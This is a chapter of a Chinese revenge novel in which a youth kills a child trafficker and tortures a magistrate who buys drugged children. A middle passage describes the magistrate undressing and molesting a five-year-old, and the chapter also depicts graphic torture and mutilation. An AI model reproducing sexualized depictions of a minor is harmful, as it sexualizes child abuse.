蒋存芳额前渗出细汗,双手紧紧地握着车把。
她身后三步远,玄衣少年无声地跟着。
车轮突然卡进石缝,麻袋里传来细微的呜咽。蒋存芳有些紧张,小心翼翼地打开一小个口子,见“货物”还没有醒来,长舒了一口气。
身后的少年轻轻扫了一眼,状似寒暄地问道:“芳姨有没有见过一个
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手背有烫疤的三岁女童?”
“没有。”蒋存芳想也不想的回答。
她经手过的孩子这么多,哪能每个都记住?况且……这些孩子在她眼里都是一样的,都是待价而沽的货物。
“没有啊。”少年重复了一遍她的回答,没再说话。
“子时三更,平安无事——”
打更人报时,已到子时三更。
他们来到新乡县令府,看门小厮打着瞌睡,靠着门墙,头一顿一顿的。
听到板车移动的声响,一个激灵醒来,谄笑着迎上:“芳姨。”
蒋存芳瞟了他一眼,没说话。
“芳姨今晚怎的来迟了?可是路上遇见什么事耽搁了?”小厮颇为有眼力见地接过板车,跟在蒋存芳后头推进去。
走到中途,他才突然发现今夜好像多了一个人。他疑惑地看了看少年,“芳姨,这位是……”
蒋存芳平素就不爱搭理他,这次却破天荒地开口解释道:“这是我的表侄,我身体不适,替我来搭把手。”
小厮也不敢多嘴,“诶”了两声揭过。这位芳姨可是县令爷跟前的红人,他只求着能拍上马屁,鸡犬升天。
待走到里院,小厮识相地停步,搓着手支支吾吾的,“芳姨……还得劳烦您多在县令爷面前替我美言两句。”
蒋存芳急着打发人,轻轻“嗯”了一声就当应下。
小厮果然喜不自胜地忙弯腰谢礼。目光落在黑衣少年身上,有几分探究,但瞬间被巨大的喜悦冲昏头脑,再想不起奇怪的地方了。
暖阁里,吕文赋掀开帷幔,床榻之上躺了一个年岁不大,目测只有五岁左右的孩童。
那孩子与麻袋里的阿芙一样,都被下了能够失去力气的药物。他紧闭着双眼,面上泛着奇怪的红晕,手脚皆被捆缚着侧躺在床上。
吕文赋坐在床边,摸了摸自己胀大如气球似的肚皮,眼神在孩子身上逡巡,将人从上至下一处不落地用目光仔仔细细地剥落。
仿佛孩子只是一盘精美可口的甜点,随时都会被他吞吃入腹。
他“爱怜”地抚摸过孩子的脸颊、脖颈、脊背,停留在不该停留的地方,那张因为肥胖而扭曲的脸上横肉丛生,笑起来时眉毛眼睛颧骨通通挤成一团,逼仄得如同见不得人的阴沟。
他是一个奇怪的男人。不喜欢成年的女性亦或者是男性,只喜欢……
他开始剥下孩子的衣物。
随着每一件衣服的丢落,眼中出现愈演愈烈的狂热,他像沙漠里渴疯了的旅人,埋头在那赤、裸的胸前。
烛火将他臃肿的影子投在纱帐上,像只吞食的蟾蜍。
“吕县令。”
蒋存芳叩了四下门便退后。
吕文赋被惊扰,裹着松垮的中衣拉开条门缝,目光黏在少年脸上,有些不悦,“怎么回事?我不喜欢年纪这么大的,你难道不知道?”
“我知道……”蒋存芳赔笑,“我给您带了新货,这就是个赠送的,好在皮相好,您大可以留在身边偶尔发泄一下。”
蒋存芳面露为难:“毕竟……年纪大些的耐玩。”
37.报仇
黏腻恶心的目光如蛆虫般在宋默脸上爬行,他置若罔闻地仰起头,将好颜色全然暴露在烛火下。
吕文赋仔细品鉴了一番,“多大了?”
“十六。”宋默说完便垂下头,纤长的眼睫遮掩了浓烈的戾气,墨发与白绸缎似的肌肤相融合,人畜无害。
蒋存芳适时补充:“大人放心,他右腿有疾,是个跛子,闹不出什么风浪的。”
闻言,吕文赋看向宋默的脚,少年顺从地掀开长衫,露出一条软塌塌无法直立的右腿。
“留下吧。”
他虽然不喜欢年纪大些的,但蒋存芳说的也没错。这个月报废的数量太多了,这样下去会被起疑的。
蒋存芳点头,“那这小的……?”
“先锁在偏房吧。”吕文赋指着宋默,“你,把人带过去,然后再回来。”
宋默轻轻点头,像一具行尸走肉,沉默着扛起麻布袋,跟在蒋存芳后面跛行,将阿芙轻轻放在偏房的床榻上。
“你要求的,我都办到了。”
“嗯。”
少年没有回头,解开阿芙手上的绳索,又扯了一条棉被盖在小丫头身上。
“你答应过的,只要带你进来,就放我走。”
“嗯。”
蒋存芳长舒了一口气,看来这少年还算说话算话。指尖丹蔻刺入掌心,她浅浅一笑,但她可不是个说话算话的人。
她还指着这生意过活呢。
只要跨过门槛,她就大声呼救,说他是刺客,她是被迫挟持的。
蒋存芳迈步,突然瞪大了眼睛。
一根无形的,细如发丝的银线凭空出现在她脖子间,如一道锋利的剑刃,从两侧紧紧勒住她的脖颈。
她伸手去扯,指腹立刻见血。银质的绳索深深嵌入肌肤,一点一点收紧,先是在雪肤上勒出红痕,继而陷进皮肉。
她尖叫起来,四肢漫无目的地在自己的血迹里划拨,画出一幅红色的水墨画。但很快她就叫不出来了,银丝割断了她的喉管,像瘪气的灯笼,皱皱巴巴的,只出不进。
蒋存芳像一条死鱼烂虾,在干涸的泥地里挣扎。
“嗬……”
宋默慢条斯理地收线,银丝缠回腰间隐藏。而后他蹲下身,对着瞳孔涣散的女人道:“放你走,和让你死……”
他看了一眼只差几步距离的门槛,“并不冲突。”
简单清理了一下身上的血迹,宋默便跛着脚向暖阁去。他的右腿骨裂已经开始愈合,痊愈的疼痛如同针扎似的在每一处皮肉留下痛楚,仿佛千万只蚂蚁在啃噬。但他不觉得有什么,连眉头都没有皱一下,伤痛于他而言本就是家常便饭。
为了让吕文赋降低戒心,他亲手敲断自己的腿骨。长衫之下,被掩盖的是被锤烂了的血肉模糊的腿,渗血的绷带早已与皮肉相连。来时时间紧迫,他只匆匆用白布简单包裹住。如今,被包裹的地方开始传来丝丝痒意和滚烫的热度。
他知道,伤口如往常一样在愈合结痂了。这具身体总是这样,无论多重的伤,不出三日便会愈合如初。
每次这个时候,母亲总会凄厉地尖叫,咒骂他是个不折不扣的怪物。然后是席卷的火舌,是漫过头顶的水笼,又或者是尖锐的能够贯穿心脏的剑刃。
但是不管什么,都一个样,连疤痕都不会有机会留下。
*
吕文赋被一番打扰后,失了兴致。又想起近日的政务上的烦心琐事,只觉得满心烦躁都无处发泄。
适时,少年叩响门扉。
“进来。”
宋默推门进入,在吕文赋面前站定。他那条右腿已然好得差不多了,为了不被看出来,微微抬高了右腿向□□斜。
肥胖的手指揉搓过面颊,留下一道长长的红痕。
“啪!”
男人沉重的巴掌落在脸上。宋默偏过头,血丝顺着唇角滑落。他抬眼时,正对上吕文赋扭曲的面容。
他没有躲避,被一脚踹倒在地,肋骨好像传来断裂的脆响。
吕文赋大喘着粗气,很是不满地看着宋默。这少年像是个死人,没有表情,一双空洞洞的眼睛直勾勾地盯着他,看得人很不舒服。
即使对他的暴行毫不反抗,却让他无端感觉到了被蔑视、被挑衅的感觉。
宋默倒在地上看着屋顶放空,头疼得像是有两把钝刀在太阳穴处反复研磨。
所以,阿菱死前也是这样疼的吗?他的妹妹,喜欢哭闹着换糖吃的孩子,最后一次哭泣是因为什么呢。
他像是没感觉到身上的疼痛,任由吕文赋对自己施暴,没有怒气,没有哀嚎,只剩下淡淡的死寂。
床榻上的孩子在低低地哭泣。
宋默偏过头,与那孩子遥遥相望。孩子看见他被殴打,害怕地躲在床脚,蜷缩成一团,两只胳膊紧紧抱住脑袋,只能无助地哭泣。
那个幼小的身子与他寻找的小小身影重叠,光影斑驳里,阿菱哭着喊:哥哥……哥哥……
哥哥,我怕。
胸腔挨了记重踹,鲜血涌上喉头。他嚅动着染血的唇瓣:“别怕……也别哭。”
哥哥来了。
哥哥在这里。
吕文赋发泄了一通,上气不接下气地扶着桌案,肥硕的肚腩不住地起伏。他看了一眼躺在地上半死不活的少年,仍觉得不畅快,又抬起腿要再补一脚。
落下的途中,少年突然清醒过来,目光清亮,突然攥住他的脚踝,反手一拧。骨骼错位,硬生生翻转了方向。
“啊——”
吕文赋疼得满头大汗,细密的汗珠从额上渗出滴在他颤抖惨白的厚唇,“你、你可知本官是……”
少年染血的手指抚过腰间银线,在县令惊恐的目光中缓缓起身。断裂的右腿骨已全然愈合,只是走动时还会发出细小的“咯咯”声。
“吕大人。”宋默抹去唇角的血迹,露出今晚第一个笑容,“在你手里,死了多少个人?”
吕文赋拖着断腿像一只巨大的土蚕在地上蠕动。
“回答我。”
“一、一个。”吕文赋侧过头,浑身被汗浸透,整个人像是刚从水里捞出来似的,他吞咽口水,“就今、今天这一个。”
“真
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的,就这一次!都是蒋存芳那个贱人诱骗的我!”他忍着剧痛爬起来,双手合十朝着宋默求饶,“我什么都没做,我只是喜欢他们!”
宋默一字一顿,“他、们?那就不只一个。”
他讨厌欺骗。
匕首突然扎进大腿,吕文赋发出杀猪般的嚎叫。宋默转动刀柄,堪堪擦过那块肉。
男人被吓得吱哇乱叫,忍住痛呼:“我说,我说。”
“五、五十、六个……”
“那你还记得他们的名字吗?”
吕文赋捂住流血的大腿根,眼珠乱转:“这……这我怎么记得住。”
“好。”宋默轻笑,“那我问你,有没有见过一个三岁的女童,手背上有个烫疤。”
吕文赋下意识就否认,“没……”
下一秒,另一处大腿猛地被削去一整块皮肉,露出肥腻跳动的肌理。
“想清楚再回话。”
“我真没……”寒光闪动,匕首直直地要刺向那块,吕文赋忽地福至心灵,大喊,“有有有!”
“我见过的。”他疼得涕泪横流,忍着剧痛凝眉细想了一阵,“是蒋存芳带过来的!说是深宅大院里精贵养着的小姐,家破人亡后奶娘养不住才卖了的。”
“我也没想到啊……她说是孤儿我才买的!”
若是知道有今日,量他再色欲熏心昏了头脑也决计不可能听信蒋存芳那个贱人的话!
“你见过那个奶娘吗?”
“远远看到过。蒋存芳带我去验货的时候,那女人也在。”
“还有别人吗?”
吕文赋皱着眉头细想,生怕自己说错什么,过了半晌,才道:“倒是有一个……一直跟在蒋存芳他们后头,是个年纪不大的男的。穿衣打扮看上去不像是普通人家的。”
宋默眼底猩红:“说清楚。”
“他、他腰上有一对白玉双鱼佩……”
白玉双鱼佩。
宋默突然想到了是谁。
他垂眼看着丑态百出的吕文赋,后者感受到目光,慌忙朝他叩首:“求求您,放了我!要多少钱我都给,人也可以!”
他指向榻上正细碎抽噎的孩子,“她、她您就带走吧!我不会再做这些混账事了!求……”
话未说完,哀嚎突然变了调。他茫然低头,看见自己□□漫开一片猩红。疼痛迟了半拍才炸开,他像只被掐住脖子的鸡,发出不似人声的尖叫。
“额……啊!!!”
吕文赋不再捂着汩汩流血的大腿,而是捂住已经失去的下半身。他哀嚎着,嘴里尽是不清不楚没有逻辑的话语。
“好吵。”
宋默从腰间取下银线,一圈一圈在掌心缠绕,大仇得报的快感经由沸腾的血液四处流窜,穿过心脉,传来丝丝舒爽。
他把银线抵在吕文赋喉头,男人瞪大着眼睛,浑浊的眼珠四处转动,虚浮的眼袋因为害怕而不停抽动。
“不不不……”
“下地狱的时候……”银线贴上吕文赋颤抖的喉结,宋默俯身在他耳边轻语,“记得一个个下跪磕头认错。”